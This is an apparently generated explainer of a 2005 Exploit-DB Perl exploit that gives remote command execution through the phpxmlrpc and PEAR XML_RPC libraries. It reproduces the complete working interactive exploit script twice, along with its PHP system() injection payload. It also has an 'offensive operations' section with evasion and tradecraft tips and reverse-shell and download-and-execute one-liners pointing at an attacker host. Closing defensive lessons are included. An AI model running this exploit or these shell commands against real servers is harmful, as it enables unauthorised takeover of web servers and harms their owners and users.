XML-RPC Library 1.3.0 Remote Command Execution Explained

XML-RPC Library 1.3.0 Remote Command Execution Explained
What this paper is
This paper describes a Perl script that exploits a vulnerability in older versions of the XML-RPC library (specifically mentioning phpxmlrpc and PEAR XML_RPC). The exploit allows an attacker to execute arbitrary operating system commands on the web server by sending specially crafted XML-RPC requests.
Simple technical breakdown
The exploit works by sending a POST request to a web server that hosts an XML-RPC endpoint (often xmlrpc.php). The attacker crafts an XML-RPC request that targets a non-existent or vulnerable method. Within the parameters of this request, the attacker injects PHP code that uses the system() function to execute a command provided by the attacker. The vulnerable XML-RPC library, when processing this malformed request, inadvertently executes the injected PHP code, thereby running the attacker's command on the server.
Complete code and payload walkthrough
The provided Perl script uses the LWP::UserAgent module to make HTTP requests.
#!/usr/bin/perl -w
# ********************************************************
# XML-RPC Remote Command Execution Exploit By Mike Rifone
# ********************************************************
# This works on da phpxmlrpc, and da PEAR XML_RPC too! All
# you need is to put the url to the server and u get shell
# Dis is my first exploit but hey it works :D ~Mike@Rifone
# ********************************************************
use LWP::UserAgent; # Imports the LWP::UserAgent module for making HTTP requests.
$brws = new LWP::UserAgent; # Creates a new UserAgent object, aliased as $brws.
$brws->agent("Internet Explorer 6.0"); # Sets the User-Agent string to mimic Internet Explorer 6.0. This can sometimes bypass basic security checks that look for common web browser user agents.
$host = $ARGV[0]; # Assigns the first command-line argument to the $host variable. This is expected to be the URL of the target XML-RPC server.
if ( !$host ) # Checks if the $host variable is empty (i.e., no URL was provided).
{
die("Usage: xmlrpcexec.pl http://pathto/xmlrpcserver"); # If no host is provided, prints a usage message and exits the script.
}
while ( $host ) # Enters an infinite loop, continuing as long as $host has a value. This allows for interactive command execution.
{
print "xmlrpc\@\#"; # Prints a prompt to the console, indicating the script is ready to receive commands.
$exec = <STDIN>; # Reads a line of input from the standard input (the user's keyboard) and stores it in the $exec variable. This is the command the attacker wants to execute.
chomp($exec); # Removes any trailing newline character from the input command.
# The core of the exploit: crafting the malicious XML-RPC request.
$data = "<?xml version=\"1.0\"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>','')); system('$exec'); die; /*</name></value></param></params></methodCall>";
# Breakdown of the XML payload:
# - `<?xml version="1.0"?>`: Standard XML declaration.
# - `<methodCall>`: The root element for an XML-RPC method call.
# - `<methodName>foo.bar</methodName>`: Specifies the method to be called. 'foo.bar' is likely chosen because it's a common placeholder or might not be a valid method, forcing the server to process its parameters.
# - `<params>`: Contains the parameters for the method call.
# - `<param><value><string>1</string></value></param>`: Four parameters with the string value '1'. These are likely there to satisfy the expected parameter count for a legitimate method, or simply to pad the request.
# - `<param><value><name>','')); system('$exec'); die; /*</name></value></param>`: This is the critical part.
# - `<name>`: This tag is used here to inject PHP code. The XML parser might interpret this as a parameter name or value.
# - `',''));`: This part is designed to break out of a potential string context or function call within the vulnerable PHP code. The `'));` attempts to close a string and a function call.
# - `system('$exec');`: This is the PHP `system()` function. It executes the command stored in the `$exec` variable (which comes from the user's input) as an operating system command. The `$exec` variable is enclosed in single quotes, which will be interpreted by PHP.
# - `die;`: This PHP function terminates script execution immediately. It's used here to prevent any further processing by the XML-RPC library after the command has been executed.
# - `/*`: This starts a multi-line comment in PHP. It's used to comment out any remaining parts of the XML or potential PHP code that might follow, ensuring only the `system()` call is executed.
# - `</name></value></param></params></methodCall>`: These close the XML tags.
$send = new HTTP::Request POST => $host; # Creates a new HTTP::Request object for a POST request to the target $host.
$send->content($data); # Sets the body of the HTTP request to the crafted XML payload ($data).
$gots = $brws->request($send); # Sends the HTTP request using the UserAgent object and stores the response in $gots.
$show = $gots->content; # Extracts the content (body) of the HTTP response.
if ( $show =~ /<b>([\d]{1,10})<\/b><br \/>(.*)/is ) # This regex attempts to parse the response.
# - `<b>([\d]{1,10})<\/b>`: Looks for a bold number (1 to 10 digits) followed by a line break. This might be part of the expected output of a legitimate method call, or an indicator of how the server formats its errors/results.
# - `<br \/>(.*)`: Captures everything after the bold number and line break into group 2. This is assumed to be the output of the executed command.
# - `is`: Flags for case-insensitive and dot-matches-newline matching.
{
print $2 . "\n"; # If the regex matches, print the captured output of the command.
}
else
{
print "$show\n"; # If the regex doesn't match, print the raw response content. This might happen if the exploit fails or the response format is unexpected.
}
}
# milw0rm.com [2005-07-04] # A comment indicating the source of the exploit.Code Fragment/Block -> Practical Purpose Mapping:
use LWP::UserAgent;-> Purpose: Import necessary library for HTTP communication.$brws = new LWP::UserAgent;-> Purpose: Initialize an HTTP client.$brws->agent("Internet Explorer 6.0");-> Purpose: Masquerade as a common browser to potentially bypass simple filtering.$host = $ARGV[0];-> Purpose: Get the target URL from command-line input.if ( !$host ) { die(...); }-> Purpose: Validate that a target URL was provided.while ( $host ) { ... }-> Purpose: Create an interactive loop for continuous command execution.print "xmlrpc\@\#";-> Purpose: Display a prompt to the operator.$exec = <STDIN>; chomp($exec);-> Purpose: Read and sanitize the command to be executed from operator input.$data = "<?xml version=\"1.0\"?><methodCall>...</methodCall>";-> Purpose: Construct the malicious XML-RPC payload.$send = new HTTP::Request POST => $host;-> Purpose: Prepare an HTTP POST request object.$send->content($data);-> Purpose: Attach the crafted payload to the request.$gots = $brws->request($send);-> Purpose: Send the request and receive the server's response.$show = $gots->content;-> Purpose: Extract the response body.if ( $show =~ /<b>([\d]{1,10})<\/b><br \/>(.*)/is ) { print $2 . "\n"; }-> Purpose: Parse the response to extract and display command output.else { print "$show\n"; }-> Purpose: Display raw response if parsing fails.
Shellcode/Payload Segment Explanation:
The "payload" in this exploit is not traditional shellcode in bytes. Instead, it's a carefully crafted string of XML and PHP code embedded within the HTTP request body.
- XML Structure: The outer structure is a standard XML-RPC method call. The
methodNameis set tofoo.bar, which is likely not a real method. The first four parameters are simple strings (<string>1</string>). - PHP Injection: The fifth parameter is where the magic happens:
<name>','')); system('$exec'); die; /*</name>- The
',''));part is crucial. It's designed to break out of whatever PHP string or function context thexmlrpc.phpscript might be using to process parameters. For example, if the script was expecting a parameter likesome_function('value'), this injection would attempt to turn it intosome_function('value','')); system('$exec'); die; /*'). system('$exec');is the core command execution. Thesystem()function in PHP executes a command via the operating system's shell. The$execvariable holds the command provided by the operator.die;immediately stops the PHP script's execution. This is important to prevent the XML-RPC library from trying to process the rest of the request or generate a standard response after the command has run./*starts a multi-line comment in PHP. This is used to comment out any remaining XML tags or potential PHP code that might follow, ensuring that only thesystem()call is executed and the XML structure is effectively terminated without causing further parsing errors.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server is required. The exploit targets a web application, so no local or administrative access is needed initially.
- Lab Preconditions:
- A vulnerable web server running a PHP application with an XML-RPC endpoint (e.g.,
xmlrpc.php). - The vulnerable XML-RPC library (e.g.,
phpxmlrpcorPEAR XML_RPCversion 1.3.0 or similar vulnerable versions) must be installed and accessible via the web server. - The web server must be configured to allow
system()or equivalent command execution functions within the context of the PHP interpreter. - A Perl interpreter on the attacker's machine.
- The
LWP::UserAgentandHTTP::RequestPerl modules installed on the attacker's machine.
- A vulnerable web server running a PHP application with an XML-RPC endpoint (e.g.,
- Tooling Assumptions:
- Perl interpreter.
LWP::UserAgentandHTTP::RequestPerl modules.- A text editor for saving the Perl script.
- A command-line interface to run the script.
- Execution Pitfalls:
- Incorrect URL: Providing an incorrect or inaccessible URL for the target
xmlrpc.phpendpoint. - WAF/IDS Evasion: Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might detect the malicious XML payload or the
system()function call. The User-Agent string is a very weak attempt at evasion. - PHP Configuration: If the
system()function is disabled inphp.ini(disable_functions), the exploit will fail. - XML-RPC Library Version: The exploit is specific to certain versions of XML-RPC libraries. If the target is running a patched or newer version, it will not work.
- Response Parsing: The exploit relies on a specific response format (
<b>...</b><br />...). If the server's error handling or normal response format differs, the command output might not be displayed correctly. - Network Latency/Timeouts: Long-running commands or slow network connections could lead to request timeouts.
- Input Sanitization: If the target application performs strict input sanitization on XML parameters before they are processed by the XML-RPC library, the injection might be neutralized.
- Incorrect URL: Providing an incorrect or inaccessible URL for the target
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the target application, its technologies, and specifically look for XML-RPC endpoints. Version checking of libraries is crucial.
- Stealth: The exploit is noisy. The User-Agent is a weak disguise. Network traffic will contain the full XML payload. Consider using more advanced techniques if stealth is paramount.
- Payload Delivery: The exploit directly executes commands. For more complex post-exploitation, a reverse shell or beacon would need to be established using the executed commands (e.g.,
nc -e /bin/bash ...orwget http://attacker.com/shell.sh -O - | sh). - Error Handling: Carefully observe the output. If the expected command output isn't seen, analyze the raw response for clues about why it failed (e.g., PHP errors, WAF blocks).
- Persistence: This exploit provides initial access. Persistence would need to be established separately.
Where this was used and when
This exploit was published in 2005. At that time, XML-RPC was a popular method for inter-application communication, and many web applications and frameworks (like WordPress, which uses XML-RPC for certain functionalities) were susceptible. Exploits targeting specific versions of libraries like phpxmlrpc and PEAR XML_RPC were common in the early to mid-2000s. The exact number of times this specific script was used in the wild is unknown, but the vulnerability class it targets was prevalent.
Defensive lessons for modern teams
- Keep Libraries Updated: Regularly update all third-party libraries, including XML parsers and RPC implementations, to patch known vulnerabilities.
- Input Validation and Sanitization: Implement robust input validation and sanitization at multiple layers. Sanitize all data received from external sources, especially when it's used in dynamic code execution contexts.
- Disable Unused Functionality: If XML-RPC is not required for an application, disable it entirely. If it is required, ensure only necessary methods are exposed and properly secured.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block malicious XML payloads, command injection attempts, and known exploit patterns.
- PHP Configuration Hardening:
- Use
disable_functionsinphp.inito restrict the use of dangerous functions likesystem(),exec(),shell_exec(),passthru(),popen(),proc_open(), etc., unless absolutely necessary and carefully controlled. - Run web applications with the least privilege.
- Use
- Monitoring and Logging: Implement comprehensive logging for web server access, application errors, and system commands. Monitor these logs for suspicious activity, such as unusual XML payloads or unexpected command executions.
- Secure Coding Practices: Train developers on secure coding practices, including the dangers of dynamic code execution and the importance of input validation.
ASCII visual (if applicable)
This exploit is a direct client-to-server interaction for command execution. An ASCII diagram isn't strictly necessary for understanding the flow, as it's a single request-response cycle within an interactive loop. However, a simplified representation of the interaction can be shown:
+-----------------+ +--------------------------+
| Attacker (Perl) | ----> | Target Web Server |
| | | (PHP, XML-RPC Library) |
| - Sends POST | | |
| with XML | | - Receives POST request |
| payload | | - Parses XML |
| - Includes | | - Executes system('$exec')|
| system('$exec')| | - Returns output |
+-----------------+ +--------------------------+
^ |
| |
+-------------------------------+
(Response with output)Source references
- PAPER ID: 1084
- PAPER TITLE: XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Command Execution (3)
- AUTHOR: Mike Rifone
- PUBLISHED: 2005-07-04
- KEYWORDS: PHP,webapps
- PAPER URL: https://www.exploit-db.com/papers/1084
- RAW URL: https://www.exploit-db.com/raw/1084
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
# ********************************************************
# XML-RPC Remote Command Execution Exploit By Mike Rifone
# ********************************************************
# This works on da phpxmlrpc, and da PEAR XML_RPC too! All
# you need is to put the url to the server and u get shell
# Dis is my first exploit but hey it works :D ~Mike@Rifone
# ********************************************************
use LWP::UserAgent;
$brws = new LWP::UserAgent;
$brws->agent("Internet Explorer 6.0");
$host = $ARGV[0];
if ( !$host )
{
die("Usage: xmlrpcexec.pl http://pathto/xmlrpcserver");
}
while ( $host )
{
print "xmlrpc\@\#";
$exec = <STDIN>;
$data = "<?xml version=\"1.0\"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>','')); system('$exec'); die; /*</name></value></param></params></methodCall>";
$send = new HTTP::Request POST => $host;
$send->content($data);
$gots = $brws->request($send);
$show = $gots->content;
if ( $show =~ /<b>([\d]{1,10})<\/b><br \/>(.*)/is )
{
print $2 . "\n";
}
else
{
print "$show\n";
}
}
# milw0rm.com [2005-07-04]